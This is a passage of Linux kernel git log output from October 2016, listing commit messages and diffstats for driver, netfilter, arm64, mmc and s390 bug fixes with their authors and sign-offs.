of:N*T*Chisilicon,hns-dsaf-v1 Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/ethernet/hisilicon/hns/hns_dsaf_main.c | 1 + 1 file changed, 1 insertion(+) commit 2fa3e317e6c89fc89e96a48308f6791f74fcea3c Author: Javier Martinez Canillas Date: Mon Oct 17 11:05:41 2016 -0300 net: ethernet: nb8800: Fix module autoload If the driver is built as a module, autoload won't work because the module alias information is not filled. So user-space can't match the registered device with the corresponding module. Export the module alias information using the MODULE_DEVICE_TABLE() macro. Before this patch: $ $ modinfo drivers/net/ethernet/aurora/nb8800.ko | grep alias $ After this patch: $ modinfo drivers/net/ethernet/aurora/nb8800.ko | grep alias alias: of:N*T*Csigma,smp8734-ethernetC* alias: of:N*T*Csigma,smp8734-ethernet alias: of:N*T*Csigma,smp8642-ethernetC* alias: of:N*T*Csigma,smp8642-ethernet alias: of:N*T*Caurora,nb8800C* alias: of:N*T*Caurora,nb8800 Signed-off-by: Javier Martinez Canillas Acked-by: Mans Rullgard Signed-off-by: David S. Miller drivers/net/ethernet/aurora/nb8800.c | 1 + 1 file changed, 1 insertion(+) commit fc971a2f2383950ddedb1e4896c5ead5d2357029 Author: Javier Martinez Canillas Date: Mon Oct 17 11:05:40 2016 -0300 net: nps_enet: Fix module autoload If the driver is built as a module, autoload won't work because the module alias information is not filled. So user-space can't match the registered device with the corresponding module. Export the module alias information using the MODULE_DEVICE_TABLE() macro. Before this patch: $ modinfo drivers/net/ethernet/ezchip/nps_enet.ko | grep alias $ After this patch: $ modinfo drivers/net/ethernet/ezchip/nps_enet.ko | grep alias alias: of:N*T*Cezchip,nps-mgt-enetC* alias: of:N*T*Cezchip,nps-mgt-enet Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/ethernet/ezchip/nps_enet.c | 1 + 1 file changed, 1 insertion(+) commit ccca6607c545534e5b74ef04e0f2f6ba11344be4 Author: Pablo Neira Ayuso Date: Thu Oct 13 08:42:17 2016 +0200 netfilter: nft_range: validate operation netlink attribute Use nft_parse_u32_check() to make sure we don't get a value over the unsigned 8-bit integer. Moreover, make sure this value doesn't go over the two supported range comparison modes. Fixes: 9286c2eb1fda ("netfilter: nft_range: validate operation netlink attribute") Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_range.c | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) commit 71757904efadefdf5505712f675218ce59483c5d Author: Dave Hansen Date: Mon Oct 17 08:18:15 2016 -0700 generic syscalls: kill cruft from removed pkey syscalls pkey_set() and pkey_get() were syscalls present in older versions of the protection keys patches. They were fully excised from the x86 code, but some cruft was left in the generic syscall code. The C++ comments were intended to help to make it more glaring to me to fix them before actually submitting them. That technique worked, but later than I would have liked. I test-compiled this for arm64. Fixes: a60f7b69d92c0 ("generic syscalls: Wire up memory protection keys syscalls") Signed-off-by: Dave Hansen Acked-by: Arnd Bergmann Cc: Thomas Gleixner Cc: x86@kernel.org Cc: linux-arch@vger.kernel.org Cc: mgorman@techsingularity.net Cc: linux-api@vger.kernel.org Cc: linux-mm@kvack.org Cc: luto@kernel.org Cc: akpm@linux-foundation.org Signed-off-by: Linus Torvalds include/linux/syscalls.h | 3 --- include/uapi/asm-generic/unistd.h | 4 ---- 2 files changed, 7 deletions(-) commit 21a9e0f1568eaa0aad970c06e4cc8d77de8d9fa1 Author: Dan Carpenter Date: Wed Oct 12 09:09:12 2016 +0300 netfilter: nft_exthdr: fix error handling in nft_exthdr_init() "err" needs to be signed for the error handling to work. Fixes: 36b701fae12a ('netfilter: nf_tables: validate maximum value of u32 netlink attributes') Signed-off-by: Dan Carpenter Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_exthdr.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 09525a09ad3099efd9ba49b0b90bddc350d6b53a Author: Dan Carpenter Date: Wed Oct 12 12:14:29 2016 +0300 netfilter: nf_tables: underflow in nft_parse_u32_check() We don't want to allow negatives here. Fixes: 36b701fae12a ('netfilter: nf_tables: validate maximum value of u32 netlink attributes') Signed-off-by: Dan Carpenter Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_tables_api.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5751e175c60be1b4113d1e9bfa011b58ec01f104 Author: Liping Zhang Date: Wed Oct 12 21:10:45 2016 +0800 netfilter: nft_hash: add missing NFTA_HASH_OFFSET's nla_policy Missing the nla_policy description will also miss the validation check in kernel. Fixes: 70ca767ea1b2 ("netfilter: nft_hash: Add hash offset value") Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_hash.c | 1 + 1 file changed, 1 insertion(+) commit f434ed0a00b232efc9843c869d05048c7cd79bb7 Author: Liping Zhang Date: Wed Oct 12 21:09:22 2016 +0800 netfilter: xt_ipcomp: add "ip[6]t_ipcomp" module alias name Otherwise, user cannot add related rules if xt_ipcomp.ko is not loaded: # iptables -A OUTPUT -p 108 -m ipcomp --ipcompspi 1 iptables: No chain/target/match by that name. Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/netfilter/xt_ipcomp.c | 2 ++ 1 file changed, 2 insertions(+) commit 6d19375b58763fefc2f215fb45117d3353ced888 Author: Liping Zhang Date: Tue Oct 11 21:03:45 2016 +0800 netfilter: xt_NFLOG: fix unexpected truncated packet Justin and Chris spotted that iptables NFLOG target was broken when they upgraded the kernel to 4.8: "ulogd-2.0.5- IPs are no longer logged" or "results in segfaults in ulogd-2.0.5". Because "struct nf_loginfo li;" is a local variable, and flags will be filled with garbage value, not inited to zero. So if it contains 0x1, packets will not be logged to the userspace anymore. Fixes: 7643507fe8b5 ("netfilter: xt_NFLOG: nflog-range does not truncate packets") Reported-by: Justin Piszcz Reported-by: Chris Caputo Tested-by: Chris Caputo Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/netfilter/xt_NFLOG.c | 1 + 1 file changed, 1 insertion(+) commit 4f76de5f237615643d2243582cee331815312ad0 Author: Nicolas Dichtel Date: Mon Oct 10 12:18:23 2016 +0200 netfilter: conntrack: remove obsolete sysctl (nf_conntrack_events_retry_timeout) This entry has been removed in commit 9500507c6138. Fixes: 9500507c6138 ("netfilter: conntrack: remove timer from ecache extension") Signed-off-by: Nicolas Dichtel Acked-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Documentation/networking/nf_conntrack-sysctl.txt | 18 ------------------ 1 file changed, 18 deletions(-) commit a8b1e36d0d1d6f51490e7adce35367ed6adb10e7 Author: Anders K. Pedersen Date: Sun Oct 9 13:49:02 2016 +0000 netfilter: nft_dynset: fix element timeout for HZ != 1000 With HZ=100 element timeout in dynamic sets (i.e. flow tables) is 10 times higher than configured. Add proper conversion to/from jiffies, when interacting with userspace. I tested this on Linux 4.8.1, and it applies cleanly to current nf and nf-next trees. Fixes: 22fe54d5fefc ("netfilter: nf_tables: add support for dynamic set updates") Signed-off-by: Anders K. Pedersen Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_dynset.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 9224eb77e63f70f16c0b6b7a20ca7d395f3bc077 Author: Vladimir Murzin Date: Mon Oct 17 16:00:46 2016 +0100 irqchip/gic-v3-its: Fix entry size mask for GITS_BASER Entry Size in GITS_BASER occupies 5 bits [52:48], but we mask out 8 bits. Fixes: cc2d3216f53c ("irqchip: GICv3: ITS command queue") Cc: stable@vger.kernel.org Signed-off-by: Vladimir Murzin Signed-off-by: Marc Zyngier include/linux/irqchip/arm-gic-v3.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1b203c138c5a0d78aa34d1c4346ff6b32ac74869 Author: Geert Uytterhoeven Date: Thu Oct 6 15:40:14 2016 +0200 netfilter: xt_hashlimit: Add missing ULL suffixes for 64-bit constants On 32-bit (e.g. with m68k-linux-gnu-gcc-4.1): net/netfilter/xt_hashlimit.c: In function ‘user2credits’: net/netfilter/xt_hashlimit.c:476: warning: integer constant is too large for ‘long’ type ... net/netfilter/xt_hashlimit.c:478: warning: integer constant is too large for ‘long’ type ... net/netfilter/xt_hashlimit.c:480: warning: integer constant is too large for ‘long’ type ... net/netfilter/xt_hashlimit.c: In function ‘rateinfo_recalc’: net/netfilter/xt_hashlimit.c:513: warning: integer constant is too large for ‘long’ type Fixes: 11d5f15723c9f39d ("netfilter: xt_hashlimit: Create revision 2 to support higher pps rates") Signed-off-by: Geert Uytterhoeven Acked-by: Vishwanath Pai Signed-off-by: Pablo Neira Ayuso net/netfilter/xt_hashlimit.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 67b11e2ea704f99953f18585609df17b6e189e53 Author: Colin Ian King Date: Sun Oct 16 23:54:03 2016 +0100 cxgb4: fix memory leak of qe on error exit path A memory leak of qe occurs when t4_sched_queue_unbind fails, so fix this by free'ing qe on the error exit path. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/sched.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 8fe88a4145cdeee486af60e61f5d5a14f804fa45 Author: Ard Biesheuvel Date: Mon Oct 17 16:18:39 2016 +0100 arm64: kaslr: keep modules close to the kernel when DYNAMIC_FTRACE=y The RANDOMIZE_MODULE_REGION_FULL Kconfig option allows KASLR to be configured in such a way that kernel modules and the core kernel are allocated completely independently, which implies that modules are likely to require branches via PLT entries to reach the core kernel. The dynamic ftrace code does not expect that, and assumes that it can patch module code to perform a relative branch to anywhere in the core kernel. This may result in errors such as branch_imm_common: offset out of range ------------[ cut here ]------------ WARNING: CPU: 3 PID: 196 at kernel/trace/ftrace.c:1995 ftrace_bug+0x220/0x2e8 Modules linked in: CPU: 3 PID: 196 Comm: systemd-udevd Not tainted 4.8.0-22-generic #24 Hardware name: AMD Seattle/Seattle, BIOS 10:34:40 Oct 6 2016 task: ffff8d1bef7dde80 task.stack: ffff8d1bef6b0000 PC is at ftrace_bug+0x220/0x2e8 LR is at ftrace_process_locs+0x330/0x430 So make RANDOMIZE_MODULE_REGION_FULL mutually exclusive with DYNAMIC_FTRACE at the Kconfig level. Signed-off-by: Ard Biesheuvel Signed-off-by: Will Deacon arch/arm64/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 850540351bb1a4fa5f192e5ce55b89928cc57f42 Author: Marc Zyngier Date: Mon Oct 17 13:47:34 2016 +0100 arm64: kernel: Init MDCR_EL2 even in the absence of a PMU Commit f436b2ac90a0 ("arm64: kernel: fix architected PMU registers unconditional access") made sure we wouldn't access unimplemented PMU registers, but also left MDCR_EL2 uninitialized in that case, leading to trap bits being potentially left set. Make sure we always write something in that register. Fixes: f436b2ac90a0 ("arm64: kernel: fix architected PMU registers unconditional access") Cc: Lorenzo Pieralisi Cc: Will Deacon Cc: Signed-off-by: Marc Zyngier Signed-off-by: Will Deacon arch/arm64/kernel/head.S | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 9a0b1e8ba4061778897b544afc898de2163382f7 Author: Eric Dumazet Date: Sat Oct 15 17:50:49 2016 +0200 net: pktgen: remove rcu locking in pktgen_change_name() After Jesper commit back in linux-3.18, we trigger a lockdep splat in proc_create_data() while allocating memory from pktgen_change_name(). This patch converts t->if_lock to a mutex, since it is now only used from control path, and adds proper locking to pktgen_change_name() 1) pktgen_thread_lock to protect the outer loop (iterating threads) 2) t->if_lock to protect the inner loop (iterating devices) Note that before Jesper patch, pktgen_change_name() was lacking proper protection, but lockdep was not able to detect the problem. Fixes: 8788370a1d4b ("pktgen: RCU-ify "if_list" to remove lock in next_to_run()") Reported-by: John Sperbeck Signed-off-by: Eric Dumazet Cc: Jesper Dangaard Brouer Signed-off-by: David S. Miller net/core/pktgen.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) commit 9a1a1f404be55b07aea64864f98d7306cc493360 Author: Tai Nguyen Date: Thu Oct 13 11:09:16 2016 -0700 perf: xgene: Remove bogus IS_ERR() check In acpi_get_pmu_hw_inf we pass the address of a local variable to IS_ERR(), which doesn't make sense, as the pointer must be a real, valid pointer. This doesn't cause a functional problem, as IS_ERR() will evaluate as false, but the check is bogus and causes static checkers to complain. Remove the bogus check. The bug is reported by Dan Carpenter in [1] [1] https://www.spinics.net/lists/arm-kernel/msg535957.html Signed-off-by: Tai Nguyen Acked-by: Mark Rutland Signed-off-by: Will Deacon drivers/perf/xgene_pmu.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit baa5567c18d17843815d1d9150424d31f238e363 Author: Lorenzo Pieralisi Date: Mon Oct 17 15:18:48 2016 +0100 arm64: kernel: numa: fix ACPI boot cpu numa node mapping Commit 7ba5f605f3a0 ("arm64/numa: remove the limitation that cpu0 must bind to node0") removed the numa cpu<->node mapping restriction whereby logical cpu 0 always corresponds to numa node 0; removing the restriction was correct, in that it does not really exist in practice but the commit only updated the early mapping of logical cpu 0 to its real numa node for the DT boot path, missing the ACPI one, leading to boot failures on ACPI systems owing to missing node<->cpu map for logical cpu 0. Fix the issue by updating the ACPI boot path with code that carries out the early cpu<->node mapping also for the boot cpu (ie cpu 0), mirroring what is currently done in the DT boot path. Fixes: 7ba5f605f3a0 ("arm64/numa: remove the limitation that cpu0 must bind to node0") Signed-off-by: Lorenzo Pieralisi Tested-by: Laszlo Ersek Reported-by: Laszlo Ersek Cc: Will Deacon Cc: Laszlo Ersek Cc: Hanjun Guo Cc: Andrew Jones Cc: Zhen Lei Cc: Catalin Marinas Signed-off-by: Will Deacon arch/arm64/kernel/smp.c | 1 + 1 file changed, 1 insertion(+) commit 0130669966bf337b616d559d5405614c0a4ae313 Merge: 5c38181 53613e0 Author: Ingo Molnar Date: Mon Oct 17 16:49:16 2016 +0200 Merge tag 'perf-urgent-for-mingo-20161017' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/urgent Pull perf/urgent fixes from Arnaldo Carvalho de Melo: - Fix handling of NUMA nodes in perf.data files (Jiri Olsa) - Fix scrolling when refreshing 'perf top --tui --hierarchy' entries (Namhyung Kim) - Fix building of JIT support on Ubuntu 16.04 (Anton Blanchard) - Fix handling of events including .c and .o, that were being treated as BPF scripts instead of vendor ones (Wang Nan) Signed-off-by: Arnaldo Carvalho de Melo Signed-off-by: Ingo Molnar commit ca006f785fbfd7a5c901900bd3fe2b26e946a1ee Author: Stefan Tauner Date: Thu Oct 6 18:40:11 2016 +0200 USB: serial: ftdi_sio: add support for Infineon TriBoard TC2X7 This adds support to ftdi_sio for the Infineon TriBoard TC2X7 engineering board for first-generation Aurix SoCs with Tricore CPUs. Mere addition of the device IDs does the job. Signed-off-by: Stefan Tauner Cc: stable Signed-off-by: Johan Hovold drivers/usb/serial/ftdi_sio.c | 3 ++- drivers/usb/serial/ftdi_sio_ids.h | 5 +++-- 2 files changed, 5 insertions(+), 3 deletions(-) commit 53613e005496234bb684e5db551fbcededa73999 Author: Anton Blanchard Date: Thu Oct 13 13:20:43 2016 +1100 perf jit: Fix build issue on Ubuntu When building on Ubuntu 16.04, I get the following error: Makefile:49: *** the openjdk development package appears to me missing, install and try again. Stop. The problem is that update-java-alternatives has multiple spaces between fields, and cut treats each space as a new delimiter: java-1.8.0-openjdk-ppc64el 1081 /usr/lib/jvm/java-1.8.0-openjdk-ppc64el Fix this by using awk, which handles this fine. Signed-off-by: Anton Blanchard Reviewed-by: Stephane Eranian Cc: Alexander Shishkin Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1476325243-15788-1-git-send-email-anton@ozlabs.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/jvmti/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2d470b62fa24f8d0024e8d392d28814c287ee1f1 Author: Wang Nan Date: Sat Oct 8 04:16:25 2016 +0000 perf jevents: Handle events including .c and .o This patch helps with Sukadev's vendor event tree where such events can happen. >From Andi Kleen: Any event including a .c/.o/.bpf currently triggers BPF compilation or loading and then an error. This can happen for some Intel vendor events, which cannot be used. This patch fixes this problem by forbidding BPF file patch containing '{', '}' and ',', make sure flex consumes the leading '{', instead of matching it using a BPF file path. Tested result: $ perf stat -e '{unc_p_clockticks,unc_p_power_state_occupancy.cores_c0}' -a -I 1000 invalid or unsupported event: '{unc_p_clockticks,unc_p_power_state_occupancy.cores_c0}' Run 'perf list' for a list of valid events (as expected, interperted as event) $ perf stat -e 'aaa.c' -a -I 1000 ERROR: problems with path aaa.c: No such file or directory (as expected, interpreted as BPF source) $ perf stat -e 'aaa.ccc' -a -I 1000 invalid or unsupported event: 'aaa.ccc' (as expected, interpreted as event) $ perf stat -e '{aaa.c}' -a -I 1000 ERROR: problems with path aaa.c: No such file or directory event syntax error: '{aaa.c}' (as expected, interpreted as BPF source) $ perf stat -e '{cycles,aaa.c}' -a -I 1000 ERROR: problems with path aaa.c: No such file or directory event syntax error: '{cycles,aaa.c}' (as expected, interpreted as BPF source) Signed-off-by: Wang Nan Tested-by: Arnaldo Carvalho de Melo Reported-by: Andi Kleen Cc: Jiri Olsa Cc: Sukadev Bhattiprolu Cc: Zefan Li Cc: pi3orama@163.com Link: http://lkml.kernel.org/r/1475900185-37967-1-git-send-email-wangnan0@huawei.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/parse-events.l | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a04a480d4392ea6efd117be2de564117b2a009c0 Author: David Ahern Date: Sun Oct 16 20:02:52 2016 -0700 net: Require exact match for TCP socket lookups if dif is l3mdev Currently, socket lookups for l3mdev (vrf) use cases can match a socket that is bound to a port but not a device (ie., a global socket). If the sysctl tcp_l3mdev_accept is not set this leads to ack packets going out based on the main table even though the packet came in from an L3 domain. The end result is that the connection does not establish creating confusion for users since the service is running and a socket shows in ss output. Fix by requiring an exact dif to sk_bound_dev_if match if the skb came through an interface enslaved to an l3mdev device and the tcp_l3mdev_accept is not set. skb's through an l3mdev interface are marked by setting a flag in inet{6}_skb_parm. The IPv6 variant is already set; this patch adds the flag for IPv4. Using an skb flag avoids a device lookup on the dif. The flag is set in the VRF driver using the IP{6}CB macros. For IPv4, the inet_skb_parm struct is moved in the cb per commit 971f10eca186, so the match function in the TCP stack needs to use TCP_SKB_CB. For IPv6, the move is done after the socket lookup, so IP6CB is used. The flags field in inet_skb_parm struct needs to be increased to add another flag. There is currently a 1-byte hole following the flags, so it can be expanded to u16 without increasing the size of the struct. Fixes: 193125dbd8eb ("net: Introduce VRF device driver") Signed-off-by: David Ahern Signed-off-by: David S. Miller drivers/net/vrf.c | 2 ++ include/linux/ipv6.h | 17 ++++++++++++++--- include/net/ip.h | 8 +++++++- include/net/tcp.h | 13 ++++++++++++- net/ipv4/inet_hashtables.c | 8 +++++--- net/ipv6/inet6_hashtables.c | 7 ++++--- 6 files changed, 44 insertions(+), 11 deletions(-) commit f4a067f9ffca603b45f7e82ddd2ba50e5904cea3 Author: Ard Biesheuvel Date: Mon Oct 17 15:05:33 2016 +0100 mac80211: move struct aead_req off the stack Some crypto implementations (such as the generic CCM wrapper in crypto/) use scatterlists to map fields of private data in their struct aead_req. This means these data structures cannot live in the vmalloc area, which means that they cannot live on the stack (with CONFIG_VMAP_STACK.) This currently occurs only with the generic software implementation, but the private data and usage is implementation specific, so move the whole data structures off the stack into heap by allocating every time we need to use them. In addition, take care not to put any of our own stack allocations into scatterlists. This involves reserving some extra room when allocating the aead_request structures, and referring to those allocations in the scatter- lists (while copying the data from the stack before the crypto operation) Signed-off-by: Ard Biesheuvel Signed-off-by: Johannes Berg net/mac80211/aes_ccm.c | 46 ++++++++++++++++++++++++++++++---------------- net/mac80211/aes_ccm.h | 8 +++++--- net/mac80211/aes_gcm.c | 43 ++++++++++++++++++++++++++++--------------- net/mac80211/aes_gcm.h | 6 ++++-- net/mac80211/aes_gmac.c | 26 +++++++++++++------------- net/mac80211/aes_gmac.h | 4 ++++ net/mac80211/wpa.c | 22 +++++++++------------- 7 files changed, 93 insertions(+), 62 deletions(-) commit 1aeb5b615cd10db7324d4e4d167c4916dfeca311 Author: Mauro Carvalho Chehab Date: Wed Oct 12 08:21:43 2016 -0300 [media] radio-bcm2048: don't ignore errors Remove this warning: drivers/staging/media/bcm2048/radio-bcm2048.c: In function 'bcm2048_set_rds_no_lock': drivers/staging/media/bcm2048/radio-bcm2048.c:467:6: warning: variable 'err' set but not used [-Wunused-but-set-variable] int err; ^~~ By returning the error code. Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/bcm2048/radio-bcm2048.c | 2 ++ 1 file changed, 2 insertions(+) commit 611b975b5c868639b7cb0e89e22d1c8c561bf3a1 Author: Sven Eckelmann Date: Sat Jul 16 21:30:20 2016 +0200 batman-adv: Add BATADV_DBG_TP_METER to BATADV_DBG_ALL The BATADV_DBG_ALL has to contain the bit of BATADV_DBG_TP_METER to really support all available debug messages. Fixes: 33a3bb4a3345 ("batman-adv: throughput meter implementation") Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich net/batman-adv/log.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9ca488dd53088d4fcc97258aeeccf21f63b7da1e Author: Sven Eckelmann Date: Thu Sep 29 17:22:58 2016 +0200 batman-adv: Modify neigh_list only with rcu-list functions The batadv_hard_iface::neigh_list is accessed via rcu based primitives. Thus all operations done on it have to fulfill the requirements by RCU. So using non-RCU mechanisms like hlist_add_head is not allowed because it misses the barriers required to protect concurrent readers when accessing the data behind the pointer. Fixes: cef63419f7db ("batman-adv: add list of unique single hop neighbors per hard-interface") Signed-off-by: Sven Eckelmann Acked-by: Linus Lüssing Signed-off-by: Simon Wunderlich net/batman-adv/originator.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4547f4d8ffd63ba4ac129f9136027bd14b729101 Author: Liu Bo Date: Fri Sep 23 14:05:04 2016 -0700 Btrfs: kill BUG_ON in do_relocation While updating btree, we try to push items between sibling nodes/leaves in order to keep height as low as possible. But we don't memset the original places with zero when pushing items so that we could end up leaving stale content in nodes/leaves. One may read the above stale content by increasing btree blocks' @nritems. One case I've come across is that in fs tree, a leaf has two parent nodes, hence running balance ends up with processing this leaf with two parent nodes, but it can only reach the valid parent node through btrfs_search_slot, so it'd be like, do_relocation for P in all parent nodes of block A: if !P->eb: btrfs_search_slot(key); --> get path from P to A. if lowest: BUG_ON(A->bytenr != bytenr of A recorded in P); btrfs_cow_block(P, A); --> change A's bytenr in P. After btrfs_cow_block, P has the new bytenr of A, but with the same @key, we get the same path again, and get panic by BUG_ON. Note that this is only happening in a corrupted fs, for a regular fs in which we have correct @nritems so that we won't read stale content in any case. Reviewed-by: Josef Bacik Signed-off-by: Liu Bo Signed-off-by: David Sterba fs/btrfs/relocation.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 82bb095ee9dcd9380b6ab608b5fa9f64e65f3a3b Author: Ulf Hansson Date: Mon Oct 17 12:19:38 2016 +0200 MAINTAINERS: mmc: Move the mmc tree to kernel.org Signed-off-by: Ulf Hansson MAINTAINERS | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9158cb29e7c2f10dd325eb1589f0fe745a271257 Author: Ulf Hansson Date: Wed Sep 28 11:33:28 2016 -0700 memstick: rtsx_usb_ms: Manage runtime PM when accessing the device Accesses to the rtsx usb device, which is the parent of the rtsx memstick device, must not be done unless it's runtime resumed. This is currently not the case and it could trigger various errors. Fix this by properly deal with runtime PM in this regards. This means making sure the device is runtime resumed, when serving requests via the ->request() callback or changing settings via the ->set_param() callbacks. Cc: Cc: Ritesh Raj Sarraf Cc: Alan Stern Signed-off-by: Ulf Hansson drivers/memstick/host/rtsx_usb_ms.c | 4 ++++ 1 file changed, 4 insertions(+) commit 796aa46adf1d90eab36ae06a42e6d3f10b28a75c Author: Alan Stern Date: Mon Sep 26 15:45:41 2016 -0700 memstick: rtsx_usb_ms: Runtime resume the device when polling for cards Accesses to the rtsx usb device, which is the parent of the rtsx memstick device, must not be done unless it's runtime resumed. Therefore when the rtsx_usb_ms driver polls for inserted memstick cards, let's add pm_runtime_get|put*() to make sure accesses is done when the rtsx usb device is runtime resumed. Reported-by: Ritesh Raj Sarraf Tested-by: Ritesh Raj Sarraf Signed-off-by: Alan Stern Cc: Signed-off-by: Ulf Hansson drivers/memstick/host/rtsx_usb_ms.c | 2 ++ 1 file changed, 2 insertions(+) commit 4f48aa7a11bfed9502a7c85a5b68cd40ea827f73 Author: Ulf Hansson Date: Thu Sep 15 14:46:21 2016 +0200 mmc: rtsx_usb_sdmmc: Handle runtime PM while changing the led Accesses of the rtsx sdmmc's parent device, which is the rtsx usb device, must be done when it's runtime resumed. Currently this isn't case when changing the led, so let's fix this by adding a pm_runtime_get_sync() and a pm_runtime_put() around those operations. Reported-by: Ritesh Raj Sarraf Tested-by: Ritesh Raj Sarraf Cc: Cc: Alan Stern Signed-off-by: Ulf Hansson drivers/mmc/host/rtsx_usb_sdmmc.c | 2 ++ 1 file changed, 2 insertions(+) commit 31cf742f515c275d22843c4c756e048d2b6d716c Author: Ulf Hansson Date: Tue Sep 27 08:44:33 2016 -0700 mmc: rtsx_usb_sdmmc: Avoid keeping the device runtime resumed when unused The rtsx_usb_sdmmc driver may bail out in its ->set_ios() callback when no SD card is inserted. This is wrong, as it could cause the device to remain runtime resumed when it's unused. Fix this behaviour. Tested-by: Ritesh Raj Sarraf Cc: Cc: Alan Stern Signed-off-by: Ulf Hansson drivers/mmc/host/rtsx_usb_sdmmc.c | 5 ----- 1 file changed, 5 deletions(-) commit 02265cd60335a2c1417abae4192611e1fc05a6e5 Author: Haibo Chen Date: Mon Oct 17 10:18:37 2016 +0200 mmc: sdhci: cast unsigned int to unsigned long long to avoid unexpeted error Potentially overflowing expression 1000000 * data->timeout_clks with type unsigned int is evaluated using 32-bit arithmetic, and then used in a context that expects an expression of type unsigned long long. To avoid overflow, cast 1000000U to type unsigned long long. Special thanks to Coverity. Fixes: 7f05538af71c ("mmc: sdhci: fix data timeout (part 2)") Signed-off-by: Haibo Chen Cc: stable@vger.kernel.org # v3.15+ Acked-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 15480f3ab7a8b5333e170d7168ce8a1012cc735e Author: Marc Zyngier Date: Mon Oct 17 11:39:32 2016 +0100 PCI: layerscape: Fix drvdata usage before assignment Commit fefe6733e516 ("PCI: layerscape: Move struct pcie_port setup to probe function") changed the init ordering of the pcie structure, but started to use the pcie->drvdata field before initializing it. Mayhem follows. Fix this by moving the drvdata assignment right before the first use. Tested on LS2085a. Fixes: efe6733e516 ("PCI: layerscape: Move struct pcie_port setup to probe function") Signed-off-by: Marc Zyngier Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-layerscape.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit dabe7ecc572447c6f8a052cc77e220998c7f9c38 Author: Joao Pinto Date: Thu Oct 13 18:26:13 2016 +0100 PCI: designware-plat: Change maintainer to Jose Abreu Change designware-plat maintainer to Jose Abreu. Signed-off-by: Joao Pinto Signed-off-by: Bjorn Helgaas MAINTAINERS | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit dcddba96cdbc5d0e4d4a17bf22cfd9b2f038a4ca Author: Heiko Carstens Date: Mon Oct 17 13:07:46 2016 +0200 s390/dumpstack: get rid of return_address again With commit ef6000b4c670 ("Disable the __builtin_return_address() warning globally after all)" the kernel does not warn at all again if __builtin_return_address(n) is called with n > 0. Besides the fact that this was a false warning on s390 anyway, due to the always present backchain, we can now revert commit 5606330627ab ("s390/dumpstack: implement and use return_address()") again, to simplify the code again. After all I shouldn't have had return_address() implememted at all to workaround this issue. So get rid of this again. Signed-off-by: Heiko Carstens Signed-off-by: Martin Schwidefsky arch/s390/include/asm/ftrace.h | 4 +--- arch/s390/kernel/dumpstack.c | 24 ------------------------ 2 files changed, 1 insertion(+), 27 deletions(-) commit 4d062487f3431f124e3a2420c0da0b7a2388dc80 Author: Heiko Carstens Date: Mon Oct 17 12:07:35 2016 +0200 s390/disassambler: use pr_cont where appropriate Just like for dumpstack use pr_cont instead of simple printk calls to fix the output when disassembling a piece of code. Before: [ 0.840627] Krnl Code: 000000000017d1c6: a77400f7 brc 7,17d3b4 [ 0.840630] 000000000017d1ca: 92015000 mvi 0(%r5),1 [ 0.840634] #000000000017d1ce: a7f40001 brc 15,17d1d0 After: [ 0.831792] Krnl Code: 000000000017d13e: a77400f7 brc 7,17d32c 000000000017d142: 92015000 mvi 0(%r5),1 #000000000017d146: a7f40001 brc 15,17d148 Signed-off-by: Heiko Carstens Signed-off-by: Martin Schwidefsky arch/s390/kernel/dis.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a790634544f5f98364b0aafe9d7e669810d96360 Author: Heiko Carstens Date: Mon Oct 17 11:59:58 2016 +0200 s390/dumpstack: use pr_cont where appropriate Use pr_cont instead of simple printk calls when lines will be continued. This fixes the kernel output of various lines printed on e.g. a warning: Before: [ 0.840604] Krnl PSW : 0404c00180000000 000000000017d1d2 [ 0.840606] (try_to_wake_up+0x382/0x5e0) [ 0.840610] R:0 T:1 IO:0 EX:0 Key:0 M:1 W:0 P:0 AS:3 CC:0 PM:0 [ 0.840611] RI:0 EA:3 After: [ 0.831772] Krnl PSW : 0404c00180000000 000000000017d14a (try_to_wake_up+0x382/0x5e0) [ 0.831776] R:0 T:1 IO:0 EX:0 Key:0 M:1 W:0 P:0 AS:3 CC:0 PM:0 RI:0 EA:3 Signed-off-by: Heiko Carstens Signed-off-by: Martin Schwidefsky arch/s390/kernel/dumpstack.c | 8 ++++---- 